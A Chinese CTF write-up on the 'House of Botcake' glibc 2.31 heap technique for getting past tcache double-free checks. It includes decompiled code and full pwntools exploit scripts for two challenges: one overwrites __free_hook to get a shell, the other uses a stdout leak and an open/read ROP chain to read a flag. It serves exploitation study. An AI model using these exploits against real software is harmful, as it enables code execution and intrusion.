本文转自先知社区：https://xz.aliyun.com/t/12653
作者：F4atherw1t
背景知识
glibc2.29～glibc2.31，tcache加入了 key 值来进行 double free 检测，以至于在旧版本时的直接进行 double free 变的无效，所以自然就有了绕过方法，绕过方法其中比较典型的就是 house of botcake，他的本质也是通过 UAF 来达到绕过的目的
Tcache 检查
源码来自glibc2.31
typedef struct tcache_entry
{
struct tcache_entry *next; //链表指针，对应chunk中的fd字段
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key; //指向所属的tcache结构体，对应chunk中的bk字段
} tcache_entry;对于每一个 tcache 中的chunk，增加了一个key指针，用于指向所属的 tcache 结构体：
static __always_inline void
tcache_put(mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *)chunk2mem(chunk);/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache; //设置所属的tcache
e->next = tcache->entries[tc_idx];//单链表头插法
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]); //计数增加
}
size_t tc_idx = csize2tidx(size);
//只要tcache不为空，并且这个chunk属于tcache管辖范围，那么这个chunk就有可能已经在tcache中了，所以需要double free检查
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *)chunk2mem(p);
/*
如果是double free，那么put时key字段被设置了tcache，就会进入循环被检查出来
如果不是，那么key字段就是用户数据区域，可以视为随机的，只有1/(2^size_t)的可能行进入循环，然后循环发现并不是double free
*/
if (__glibc_unlikely(e->key == tcache))//剪枝
{
tcache_entry *tmp;
LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
if (tmp == e)
malloc_printerr("free(): double free detected in tcache 2");
}
if (tcache->counts[tc_idx] < mp_.tcache_count) //通过检查，放入tcahce中
{
tcache_put(p, tc_idx);
return;
}
}
在 free chunk 被放入 tcache 时，程序会设置一个 key 值 每次程序把 new free chunk 放入 tcache 前，都会检查一下它是否携带有 key 值 注意：key 值原本的位置是用户数据区（可以认为是随机值），有极小的概率会触发检查报错
所以如果想继续利用 Tcache Double Free 的话，一般有以下方法：1.破坏掉被 free 的堆块中的 key，绕过检查（常用） 2.改变被 free 的堆块的大小，遍历时进入另一 idx 的 entries 3.House of botcake（常用）
House of botcacke 合理利用了 Tcache 和 Unsortedbin 的机制，同一堆块第一次 Free 进 Unsortedbin 避免了 key 的产生，第二次 Free 进入 Tcache，让高版本的 Tcache Double Free 再次成为可能。此外 House of botcake 在条件合适的情况下，极其容易完成多次任意分配堆块，是相当好用的手法。
利用姿势
通常的利用思路就是，填充完 tcache bin 链表后，然后把一个chunkA free到 unsorted bin 中，然后把这一个chunkA 上面紧邻的chunkB free掉，这样A、B就会合并，unsorted bin中的fd指针就从chunkA 的fd指针，变成了chunkB 的fd指针，之后我们先申请一个chunk 在tcache bin中给chunk A 留下空间，利用 House of Botcake 的原理再free chunkA, 这时候chunk A 已经double free 了，然后我们可以在unsoreted bin中申请一个比较大的空间，通过chunkB、chunkA 的相邻来改变chunkA 的fd指针
HGAME 2023 week2 new_fast_note
ida
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]v4 = __readfsqword(0x28u);
init(argc, argv, envp);
while ( 1 )
{
menu(*(_QWORD *)&argc);
*(_QWORD *)&argc = "%d";
__isoc99_scanf("%d", &v3);
if ( v3 == 4 )
exit(0);
if ( v3 > 4 )
{
LABEL_12:
*(_QWORD *)&argc = "Wrong choice!";
puts("Wrong choice!");
}
else
{
switch ( v3 )
{
case 3:
show_note("%d", &v3);
break;
case 1:
add_note();
break;
case 2:
delete_note("%d", &v3);
break;
default:
goto LABEL_12;
}
}
}
}
unsigned __int64 add_note()
{
unsigned int v0; // ebx
unsigned int v2; // [rsp+0h] [rbp-20h] BYREF
_DWORD size[7]; // [rsp+4h] [rbp-1Ch] BYREF
*(_QWORD *)&size[1] = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &v2);
if ( v2 <= 0x13 ) //限制数量为 19
{
printf("Size: ");
__isoc99_scanf("%u", size);
if ( size[0] <= 0xFFu )
{
v0 = v2;
*((_QWORD *)¬es + v0) = malloc(size[0]);
printf("Content: ");
read(0, *((void **)¬es + v2), size[0]);
}
else
{
puts("Too big.");
}
}
else
{
puts("There are only 20 pages in this notebook.");
}
return __readfsqword(0x28u) ^ *(_QWORD *)&size[1];
}
unsigned __int64 __fastcall delete_note(const char *a1)
{
unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &v2);
if ( v2 <= 0xF )
{
if ( *((_QWORD *)¬es + v2) )
free(*((void **)¬es + v2));
else
puts("Page not found.");
}
else
{
puts("There are only 16 pages in this notebook.");
}
return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 __fastcall show_note(const char *a1)
{
unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &v2);
if ( v2 <= 0xF )
{
if ( *((_QWORD *)¬es + v2) )
puts(*((const char **)¬es + v2));
else
puts("Page not found.");
}
else
{
puts("There are only 16 pages in this notebook.");
}
return __readfsqword(0x28u) ^ v3;
}
没有什么限制，也比较好分析
思路
基本上和上面的利用姿势是一致的
详细流程
for i in range(7):
add(i,0x80,'a')add(7,0x80,'a')
add(8,0x80,'a')
add(9,0x20,'b')
for i in range(7):
delete(i)
delete(8)
show(8)
libc_base=u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))-0x1ecbe0
__free_hook=libc_base+libc.sym["__free_hook"]
system_addr=libc_base+libc.sym["system"]
leak("libc_base ",libc_base)
先泄露个libc基地址
delete(7)
能看到合并的chunk
add(10,0x80,'a')留下一个空间
delete(8)
double free
payload='a'*0x80+p64(0)+p64(0x91)+p64(__free_hook)
add(11,0xa0,payload)直接申请一个较大的chunk去覆盖就可以了
add(12,0x80,'/bin/shx00')
add(13,0x80,p64(system_addr))
delete(12)申请写入 '/bin/shx00' ，改 free_hook 为 system，free一下直接 getshell
exp
import os
import sys
import time
from pwn import *
from ctypes import *context.os = 'linux'
context.log_level = "debug"
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'x00'))
uu64 = lambda data :u64(data.ljust(8,b'x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00"))
l32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,b"x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
p=process('./pwn')
#p=remote('node1.anna.nssctf.cn',28531)
elf = ELF('./pwn')
libc=ELF('./libc-2.31.so')
#libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def add(idx,size,content):
sla('>',str(1))
sla('Index: ',str(idx))
sla('Size: ',str(size))
sa('Content: ',content)
def delete(idx):
sla('>',str(2))
sla('Index: ',str(idx))
def show(idx):
sla('>',str(3))
sla('Index: ',str(idx))
def duan():
gdb.attach(p)
pause()
def duan():
gdb.attach(p)
pause()
#=================
# libc-2.31
# house of botcake
#=================
for i in range(7):
add(i,0x80,'a')
add(7,0x80,'a')
add(8,0x80,'a')
add(9,0x20,'b')
for i in range(7):
delete(i)
delete(8)
show(8)
libc_base=u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))-0x1ecbe0
__free_hook=libc_base+libc.sym["__free_hook"]
system_addr=libc_base+libc.sym["system"]
leak("libc_base ",libc_base)
delete(7)
add(10,0x80,'a')
delete(8) # tcahcebin unsortedbin
payload='a'*0x80+p64(0)+p64(0x91)+p64(__free_hook)
add(11,0xa0,payload)
add(12,0x80,'/bin/shx00')
add(13,0x80,p64(system_addr))
delete(12)
'''
'''
#duan()
p.interactive()
CISCN 2022 华东北分区赛 blue
ida
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
void __fastcall __noreturn main(const char *a1, char **a2, char **a3)
{
int v3; // [rsp+Ch] [rbp-4h]sandbox();
while ( 1 )
{
while ( 1 )
{
menu();
v3 = choice(a1, a2);
if ( v3 != 666 )
break;
UAF(); //只有一次
}
if ( v3 > 666 )
{
LABEL_13:
a1 = "Invalid choicen";
libc_puts("Invalid choicen");
}
else if ( v3 == 3 )
{
show(); //只有一次
}
else
{
if ( v3 > 3 )
goto LABEL_13;
if ( v3 == 1 )
{
add();
}
else
{
if ( v3 != 2 )
goto LABEL_13;
delete();
}
}
}
}
__int64 UAF()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]
if ( dword_4070 > 0 )
{
puts("ERROR");
_exit(0);
}
libc_puts("Please input idx: ");
v1 = choice();
if ( v1 <= 0x20 && dword_4180[v1] && *(&qword_4080 + v1) )
{
free(*(&qword_4080 + v1));
++dword_4070; //只能运行一次
return libc_puts("DONE!n");
}
else
{
libc_puts("ERRORn");
return 0xFFFFFFFFLL;
}
}
__int64 sub_138A()
{
int i; // [rsp+0h] [rbp-10h]
unsigned int size[3]; // [rsp+4h] [rbp-Ch]
libc_puts("Please input size: ");
*size = choice();
if ( size[0] > 0x90 ) // chunk 申请的 size 不能大于 0x90
size[0] = 144;
*&size[1] = malloc(size[0]);
if ( *&size[1] )
{
libc_puts("Please input content: ");
sub_1354(*&size[1], size[0]);
for ( i = 0; i <= 31; ++i )
{
if ( !qword_4080[i] && !dword_4180[i] )
{
qword_4080[i] = *&size[1];
dword_4180[i] = size[0];
libc_puts("Donen");
return i;
}
}
return libc_puts("Emptyn");
}
else
{
libc_puts("Malloc Errorn");
return 0xFFFFFFFFLL;
}
}
__int64 sub_1592()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]
libc_puts("Please input idx: ");
v1 = choice();
if ( v1 <= 0x20 && dword_4180[v1] && qword_4080[v1] )
{
free(qword_4080[v1]);
qword_4080[v1] = 0LL;
dword_4180[v1] = 0;
return libc_puts("DONE!n");
}
else
{
libc_puts("ERRORn");
return 0xFFFFFFFFLL;
}
}
__int64 sub_14C5()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]
if ( dword_406C > 0 )
{
puts("ERROR");
_exit(0);
}
libc_puts("Please input idx: ");
v1 = choice();
if ( v1 <= 0x20 && dword_4180[v1] && qword_4080[v1] )
{
libc_puts(qword_4080[v1]);
++dword_406C; //只能运行一次
return libc_puts("Done!n");
}
else
{
libc_puts("ERRORn");
return 0xFFFFFFFFLL;
}
}
限制：1.add 申请size <= 0x90 2.开启了sandbox 3.只有一次UAF 4.只有一次show
思路
主要是是通过在unsorted bin中向前合并堆块，以此来申请chunk 改变UAF存留在tcache bin中的指针，然后申请第二次就可以修改 _IO_2_1stdout 结构体，用 environ 泄露出栈地址以获得程序的返回地址，然后把重叠的堆块再次释放，修改size和fd后再申请两次，在第二次直接传入在程序返回地址处构造的orw链就能成功getshell了。
详细流程
for i in range(7):
add(0x80,'aaaa')add(0x80,'aaaa')
add(0x80,'aaaa')
add(0x80,'aaaa')
add(0x10,'aaaa')
for i in range(7):
delete(i)
先填满tcache bin，然后为下面的合并申请几个chunk
UAF(8)
show(8)libc_base=u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))-0x1ecbe0
leak("libc_base ",libc_base)
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
environ = libc_base + libc.sym['environ']
leak('environ ',environ)
read_addr = libc_base + libc.sym['read']
open_addr = libc_base + libc.sym['open']
puts_addr = libc_base + libc.sym['puts']
pop_rdi_ret = libc_base + 0x0000000000023b6a
pop_rsi_ret = libc_base + 0x000000000002601f
pop_rdx_ret = libc_base + 0x0000000000142c92
然后UAF泄露一下libc_base
delete(7)合并一下chunk 合并前：
合并后：
add(0x80,'aaaa') #0然后留出一个空位打 House of Botcake
delete(8)这时候两个堆块已经重叠了
add(0x70,'aaaa') #1
add(0x90,p64(0)+p64(0x91)+p64(stdout)) #2然后修改UAF留下的指针
add(0x80,'aaaa') #3
add(0x80,p64(0xfbad1887)+p64(0)*3+p64(environ)+p64(environ+8)) #4
stack_addr = u64(p.recvuntil('x7f')[-6:].ljust(8, b'x00'))-0x128
leak('stack_addr ',stack_addr)申请一次，后再申请一次来修改 _IO_2_1stdout 的结构体，这里是伪造了一下 _flags ，并且覆盖_IO_read_ptr、_IO_read_end、_IO_read_base这三个指针为0 ，覆盖_IO_write_base指针为 environ ，覆盖 _IO_write_ptr 指针为 比environ大的数(environ+8)，这时候就会泄露出 _IO_write_base指针与_IO_write_ptr指针之间的所有数据 (也就是environ的地址)[这里的知识点，我在 Io leak那篇文章中详细展开过]，这里-0x128计算的是程序返回地址-0x8，-0x8是为了写 './flagx00x00'
delete(3)
delete(2)然后把重叠的堆块再释放(本来是chunk1、2重叠，这个是伪造的2、3重叠)
add(0x90,p64(0)+p64(0x91)+p64(stack_addr))然后改变一下size和fd指针
add(0x80,'aaaa')flag_addr = stack_addr
ppp=stack_addr+0x200
pl=b'./flagx00x00'
pl+=p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0) + p64(open_addr)
pl+=p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(ppp) + p64(pop_rdx_ret) + p64(0x50) + p64(read_addr)
pl+=p64(pop_rdi_ret) + p64(ppp) + p64(puts_addr)
add(0x80, pl)
然后打个orw就行了 成功读取我写入本地文件夹中的flag
exp
import os
import sys
import time
from pwn import *
from ctypes import *context.os = 'linux'
context.log_level = "debug"
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'x00'))
uu64 = lambda data :u64(data.ljust(8,b'x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00"))
l32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,b"x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
p=process('./pwn')
#p=remote('node4.anna.nssctf.cn',28107)
elf = ELF('./pwn')
libc=ELF('./libc.so.6')
#libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def duan():
gdb.attach(p)
pause()
def add(size,content):
sla('Choice: ',str(1))
sla('Please input size: ',str(size))
sa('Please input content: ',content)
def delete(index):
sla('Choice: ',str(2))
sla('Please input idx: ',str(index))
def show(index):
sla('Choice: ',str(3))
sla('Please input idx: ',str(index))
def UAF(index):
sla('Choice: ',str(666))
sla('Please input idx: ',str(index))
for i in range(7):
add(0x80,'aaaa')
add(0x80,'aaaa')
add(0x80,'aaaa')
add(0x80,'aaaa')
add(0x10,'aaaa')
for i in range(7):
delete(i)
UAF(8)
show(8)
libc_base=u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))-0x1ecbe0
leak("libc_base ",libc_base)
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
environ = libc_base + libc.sym['environ']
leak('environ ',environ)
read_addr = libc_base + libc.sym['read']
open_addr = libc_base + libc.sym['open']
puts_addr = libc_base + libc.sym['puts']
pop_rdi_ret = libc_base + 0x0000000000023b6a
pop_rsi_ret = libc_base + 0x000000000002601f
pop_rdx_ret = libc_base + 0x0000000000142c92
delete(7)
add(0x80,'aaaa') #0
delete(8)
add(0x70,'aaaa') #1
add(0x90,p64(0)+p64(0x91)+p64(stdout)) #2
add(0x80,'aaaa') #3
add(0x80,p64(0xfbad1887)+p64(0)*3+p64(environ)+p64(environ+8)) #4
stack_addr = u64(p.recvuntil('x7f')[-6:].ljust(8, b'x00'))-0x128
leak('stack_addr ',stack_addr)
delete(3)
delete(2)
add(0x90,p64(0)+p64(0x91)+p64(stack_addr))
add(0x80,'aaaa')
flag_addr = stack_addr
ppp=stack_addr+0x200
pl=b'./flagx00x00'
pl+=p64(pop_rdi_ret)+p64(flag_addr)+p64(pop_rsi_ret)+p64(0)+p64(open_addr)
pl+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(ppp)+p64(pop_rdx_ret)+p64(0x50)+p64(read_addr)
pl+=p64(pop_rdi_ret)+p64(ppp)+p64(puts_addr)
add(0x80, pl)
'''
'''
#duan()
itr()
原文始发于微信公众号（合天网安实验室）：House of Botcake
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